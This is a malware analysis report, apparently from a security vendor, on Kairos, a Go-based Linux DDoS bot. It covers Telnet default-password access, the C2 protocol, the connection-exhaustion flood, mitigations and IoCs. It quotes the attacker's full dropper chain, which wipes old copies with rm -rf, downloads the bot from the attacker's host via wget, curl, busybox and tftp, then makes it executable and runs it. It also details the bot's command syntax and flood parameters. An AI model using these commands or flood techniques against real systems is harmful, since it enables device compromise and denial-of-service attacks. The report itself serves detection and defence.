Kairos is a previously undocumented DDoS bot for Linux, written in Go. Its only purpose is to turn a compromised machine into an attack node in the operator's botnet. On command, the bot opens hundreds to thousands of TCP connections to a target chosen by the operator and keeps them open for the requested duration, sending a single near-empty keepalive byte every few seconds. This slowly starves the victim's service until it can no longer accept legitimate users.
Our honeypot telemetry led us to three Kairos builds that turned out to be the same program, differing only in the hard-coded C2 address and the compiler patch level. This points to a build-per-C2 distribution model, where a single codebase is recompiled for each C2 server. Initial access came through Telnet, using the default credentials (user root, empty password). The operator then staged the payload with a short shell sequence that downloaded it over HTTP from the same server the bot later calls home. After analyzing these builds, we wrote a YARA rule and used it to threat hunt on VirusTotal, which uncovered six additional samples, including builds for other CPU architectures.
Technical details
Kairos Samples Captured by Our Honeypots
Our honeypots recorded attacks from three different IP addresses delivering Kairos samples, each pointing to a different C2. The dropper follows the same pattern every time, only the payload host changes.

Initial Access – Telnet Login with an Empty Root Password and a Multi-Fallback Dropper
The attacker obtained access by guessing the default Telnet credentials: user root with an empty password. To drop the payload, the attacker issued the following commands (we show one full chain, the full list of infrastructure is in the IoCs section):
uname -m:Identifies the target architecture. The payload requested later (/x86_64) matches it, which suggests per-architecture payloads.cd /tmp:Moves to a commonly writable staging directory.rm -rf bot* .bot* 2>/dev/null:Removes artifacts left by previous deployment attempts.wget http://172[.]86[.]85[.]39:8080/x86_64 -O .bot: Attempts the primary download, with a quiet-mode wget fallback.chmod 777 .bot && ./.bot &:Makes the payload executable and launches it in the background.curl http://172[.]86[.]85[.]39:8080/x86_64 -o .bot2:Retries the download using curl.chmod 777 .bot2 && ./.bot2 &:Executes the second downloaded copy.busybox wget http://172[.]86[.]85[.]39:8080/x86_64 -O .bot3:Uses the BusyBox implementation of wget as another fallback, keeping the loader working on minimal embedded systems.chmod 777 .bot3 && ./.bot3 &: Executes the third copy in the background.tftp -g -r x86_64 -l .bot4 172[.]86[.]85[.]39:Makes a final download attempt over TFTP. No command to execute .bot4 was observed.
In this attack chain, 172[.]86[.]85[.]39 plays two roles: it hosts the payload on TCP/8080 and acts as the C2 on TCP/9999.
.png)
C2 Communication – From the REGISTER Beacon to the Hold Command
Once running, the bot's entire session logic lives in a single function. It connects to one hard-coded IPv4 address on TCP port 9999 and announces itself with a one-line REGISTER beacon:
REGISTER linux amd64 <NumCPU>
<NumCPU> is read from runtime.ncpu, the same value that later decides how many attack workers the bot starts.
.png)
A keepalive goroutine then writes a single bare newline every two seconds. When a write fails, the session dies and the supervisor loop in main.main redials every five seconds, without jitter or a retry limit.
The C2 can send the bot exactly three plaintext commands:
hold <host> <port> <seconds>: starts the connection-exhaustion flood against the target for the given duration.!ka(kill all): pauses the bot and cancels every running attack.!ku(kill unpause): lets the bot accept attack commands again.

.png)
On command, it launches a TCP connection-exhaustion flood: hundreds to thousands of concurrent sockets, each kept open with a single space character every five seconds.
There is no persistence, self-propagation, command execution, payload download, or anti-analysis logic anywhere in the binary.
The Go function-name table (.gopclntab) is intact in all the builds we analyzed, which let us recover every symbol, including the developer's own names for the attack code (kairos/methods.HoldFlood and kairos/methods.holdConn), and reconstruct the full command set from the decompiled dispatcher.
.png)
The Attack – Starving Victim Services with Thousands of Idle TCP Connections
main.startFlood tracks each attack by host:port. Starting another hold attack against the same target stops and replaces the previous one, while !ka stops all active attacks.
The attack itself is a single technique:
- Workers: the bot starts 128 workers per CPU core, with a minimum of 256. On a 16-core host that is 2,048 concurrent connection attempts per attack, multiplied by the number of attacks running in parallel against different targets.
- Connection handling: each worker completes a normal TCP handshake with a five-second timeout, then keeps the socket open by sending one space character (0x20) every five seconds. Failed connections are retried every 100 milliseconds, so against a refusing port the workers turn into a high-rate connect storm.
- Visible source: this is not a spoofed SYN flood. The bot completes real handshakes, so its source IP is fully visible to the victim and the attack can be traced back to the infected device.
- Impact on the bot: every connection also consumes resources on the infected device. A large attack may exhaust its file descriptors or connection-tracking table, disrupting the device's own network access.
.png)
One Codebase, Many Builds – Recompiling the Bot for Each C2 Server
We collected three different samples that are simply recompiled with a different C2 IP address, and possibly a different Go version (we found 1.27.0 and 1.27.1).

Everything else (the ELF layout, the function addresses, the timing constants, the entire protocol) is identical. This has two consequences for defenders.
First, code-based indicators are stable across deployments, so file and network signatures written against one build carry over to the next.
Second, infrastructure indicators rotate by design. All known C2 addresses are single plaintext IPv4 literals with no fallback, so blocking or sinkholing the three addresses neutralizes the three known fleets. A new build with a new address, however, would go undetected.
To check whether the campaign extends beyond the samples captured by our honeypots, we threat hunted on VirusTotal with a version of our YARA rule that does not depend on the CPU architecture. The hunt uncovered six additional Kairos samples, compiled for ARM, MIPS (big and little endian) and 32-bit x86, in addition to the amd64 builds described above. We analyzed these samples and found the same Go symbols, REGISTER beacon, command set and [kworker/0:1] masquerading feature. All six are configured with the already known C2 172[.]86[.]85[.]39 on TCP/9999. Their hashes are listed in the IoCs section.
A Weak Disguise – Posing as the [kworker/0:1] Kernel Thread
The one concession to stealth is cosmetic. On startup the bot rewrites its own os.Args[0] to [kworker/0:1], imitating a Linux kernel worker thread.
However, this assignment only changes the Go variable os.Args. The bot does not rewrite the process's original argv memory and never calls prctl(PR_SET_NAME), so /proc/<pid>/cmdline, /proc/<pid>/comm and ps still show the real binary name.
This artifact is still a useful hunting string. A userland binary that contains the literal [kworker/0:1] together with the Go build path kairos/bot is almost certainly Kairos, and a "kernel worker" holding hundreds of outbound TCP connections is clearly suspicious.
.png)
Conclusions – Why Kairos Is Simple but Still Worth Detecting
Kairos shows a different side of the Linux DDoS world than the Mirai-based families we usually track: a small, clean Go program built around a single attack, done well and designed to do nothing else. The code quality is good: proper task cancellation, locked shared state, one attack per target, correct IPv6 address handling, and the CPU count reported at registration. The tradecraft, however, is basic: a single plaintext endpoint with no fallback, no persistence, no command execution, and a fake process name that a quick look at /proc gives away.
Since every build is simply recompiled with a new C2 address, the infrastructure changes by design while the code stays the same. Detection should therefore rely on code-based signatures, because blocking IP addresses only helps for a short time. For defenders, the whole campaign starts with one simple mistake: an exposed Telnet service with an empty root password. Disabling Telnet, replacing default credentials, and alerting on the plaintext REGISTER beacon are the fastest ways to stop a small fleet like this from growing.

Mitigation and Recommendations
- Block the C2 endpoints. Deny egress to 91[.]92[.]42[.]84, 172[.]86[.]85[.]39 and 85[.]11[.]167[.]41 on ports 9999 and 8080, and alert on any connection attempt to them. Because the bot has no fallback C2, this neutralizes the three known fleets. Also block the three attacker IPs listed in the IoCs.
- Detect the protocol. A single IDS signature on the plaintext
REGISTER linuxbeacon, sent to TCP port 9999 in all observed cases, identifies the bot on any build (see the Packet Rule section below). The analyzed amd64 builds sendREGISTERlinux amd64,while the other builds report their own architecture. - Reduce exposed management access. Disable Telnet where possible and replace default or empty passwords.
- Deploy the YARA rule below across file and memory scanning pipelines.
Asset owners can rely on the advanced capabilities of the Nozomi Networks OT/IoT Security Platform to identify exposed devices and to detect and alert on the C2 beacon and the flood behavior described here before they lead to operational disruption. To learn more about Nozomi Networks OT/IoT Security Platform and see it in action, request a demo today.
MITRE ATT&CK Mapping
Initial Access
- T1078.001 – Valid Accounts: Default Accounts: every observed deployment began with a Telnet login as
rootwith an empty password
Execution
- T1059.004 – Unix Shell: the entire deployment is a shell staging sequence (
uname, wget/curl/busybox/tftp, chmod,background execution).
Impact
- T1498.001 – Network Denial of Service: Direct Network Flood: when the target port refuses connections, each worker retries every 100 ms, turning the attack into a high-rate TCP connect flood.
- T1499.002 – Endpoint Denial of Service: Service Exhaustion Flood: hundreds to thousands of near-idle held sockets exhaust the victim service's connection table or worker pool.
Command and Control
- T1095 – Non-Application Layer Protocol: custom plaintext TCP protocol on a fixed IP:9999, newline-delimited commands, 2-second heartbeat.
- T1105 – Ingress Tool Transfer: all three observed C2 hosts also appear as payload servers on plain HTTP port 8080 in loader sessions.
Stealth
- T1036.005 – Masquerading: Match Legitimate Resource Name or Location:
os.Args[0]rewrite to[kworker/0:1]; does not affect/procmetadata.
IoCs
- 103[.]124[.]165[.]53
- 172[.]86[.]85[.]39
- 45[.]129[.]56[.]140
- 91[.]92[.]42[.]84
- 45[.]129[.]56[.]222
- 85[.]11[.]167[.]41
- bfdf77ee849bffff7d6812f343841f3278e6e75949ab3e25644f17c24be87213 (amd64)
- 181d1adfcf2da42afaa8fc1ceb4493cf2322c18431f3512673f4693e11b9cabd (amd64)
- 87a77b056a6cf33ab3f72b534d57788046281349aacd42846f3df5e0b22655e1 (amd64)
- 01568930028bdcce6ecd7e923971cf41f145e045e59536aa264241bc9a8e9650 (arm)
- 7635821eced7092e916e86471567e26c20ee5bda4a7b96f6b3d21a921862a416 (arm)
- 82d0f2258b2eeeeacfaa719665e0435619f8cc2f1d5dd13dd08134e0bf2d7dd6 (arm)
- 5743ebfc697385909b3906af1ac9d851936e6556f323216e10cc1e129fa369a0 (mips)
- 1ef5835cb0dfe305de05d92874c8a05eada9c02fcd04d9548dd059b44405519a (mipsle)
- 9b628b5453576f3324036deb346db9cdd07bd673ecba4a464d072ba01a8b7a54 (386)
YARA
Packet Rule




